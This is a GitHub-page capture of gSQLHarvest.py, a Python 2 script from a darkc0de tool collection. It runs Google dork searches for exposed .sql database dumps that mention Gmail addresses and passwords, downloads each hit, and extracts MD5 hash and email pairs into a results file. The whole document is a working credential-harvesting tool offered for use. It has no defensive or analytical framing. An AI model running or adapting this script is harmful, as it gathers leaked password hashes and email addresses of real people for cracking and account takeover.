forked from tuwid/darkc0de-old-stuff
-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathgSQLHarvest.py
121 lines (111 loc) · 3.85 KB
/
gSQLHarvest.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/usr/bin/python
#
# Lets collect .sql files from google, gather the md5's and emails and be happy about it
# code: low1z // darkc0de.com // <http://www.gnu.org/licenses/>
# note: this tool gets wild if you mess up the max counter value, there's alot of stuff inside google, and this
# tool fetches everything thats not filtered + larger db files (10mb+) are parsed with low performance.
import urllib, urllib2, sys, re, os, time, string, commands, socket
timeout = 5
socket.setdefaulttimeout(timeout)
counter = 10
maxcount = 20
d = []
LFN = []
finaloutput = 'finalsql.txt'
tmpdir = 'tmp'
currentdir = os.getcwd()
os.mkdir(tmpdir)
mailadr = '@gmail.com'
intext2 = 'Password'
filetype = 'sql'
query = 'ext%3A'+filetype+'+intext%3A%40'+mailadr+'+intext%3A'+intext2
def StripTags(text):
return re.sub(r'<[^>]*?>','', text)
def download(location):
try:
loc = urllib2.Request(location)
remotefile = urllib2.urlopen(loc)
localfile = open(location.split('/')[-1], 'w')
localfile.write(remotefile.read())
LFN.append(location.split('/')[-1])
remotefile.close()
localfile.close()
except urllib2.URLError,socket.timeout:
return
def cleanUp(LFN):
os.chdir(tmpdir)
for file in LFN:
try:
os.remove(file)
except:
return
os.chdir(currentdir)
print "[+]", len(LFN), "Temp Files Removed"
print " ( ( ( ( )\ ("
print " )\))( ( ( )\))( ((_) ))( "
print " ((_))\ )\ )\ ((_))( _ /((_)"
print " (()(_)((_) ((_) (()(_)| |(_))"
print " / _` |/ _ \/ _ \/ _` | | |/ -_) Don't be evil"
print "+--------\__, |\___/\___/\__, | |_|\___|-------------+"
print "| |___/ low1z |___/ www.darkc0de.com |"
print "| google gSQLHarvest.py v1.0 |"
print "| collecting .sql files from google, stripping md5's |"
print "| this tool fucks up if actual file transfer is not |"
print "| initiated but host connect is fine. urllib2 prob! |"
print "+----------------------------------------------------+"
try:
while counter < maxcount:
results_web = 'http://www.google.com/search?q='+query+'&hl=en&lr=&ie=UTF-8&start=' + repr(counter) + '&sa=N'
request_web = urllib2.Request(results_web)
request_web.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
opener_web = urllib2.build_opener()
text = opener_web.open(request_web).read()
strreg = re.compile('(?<=href=")(.*?)(?=")')
names = strreg.findall(text)
for name in names:
if name not in d:
if re.search(r'\(', name) or re.search("<", name) or re.search("\A/", name) or re.search("\A(http://)\d", name):
pass
elif re.search("google", name) or re.search("youtube", name):
pass
else:
d.append(name)
counter +=10
except IOError:
print "Can't Connect"
cnx = 0
print currentdir
os.chdir(tmpdir)
for site in d:
cnx += 1
try:
print "[:]", cnx, "Downloading", site
download(site)
except IOError,socket.timeout:
print "[-] Remotefile not found?"
print "\n[:]", cnx, ": Files fetched, searching for md5's... this takes some time\n"
md5s = {}
num = 1
for file in LFN:
dbfile = open(file, "r").readlines()
for line in dbfile:
try:
MD5 = re.findall("[a-f0-9]"*32,line)[0]+":"+str(re.findall('\w+@[a-zA-Z_]+?\.[a-zA-Z]{2,3}', line)[0])
md5s[MD5] = num
except(IndexError):
pass
num +=1
os.chdir(currentdir)
finalfile = open(finaloutput, 'a')
for hash in md5s:
print hash
finalfile.write(hash+"\n")
print "\n[+] MD5s Found:",len(md5s)
finalfile.close()
finalfile = open(finaloutput, 'r')
ffc = finalfile.read()
sets = ffc.count("\n")
print "[+] Total Hash:email Sets :", sets
finalfile.close()
cleanUp(LFN)
os.rmdir(tmpdir)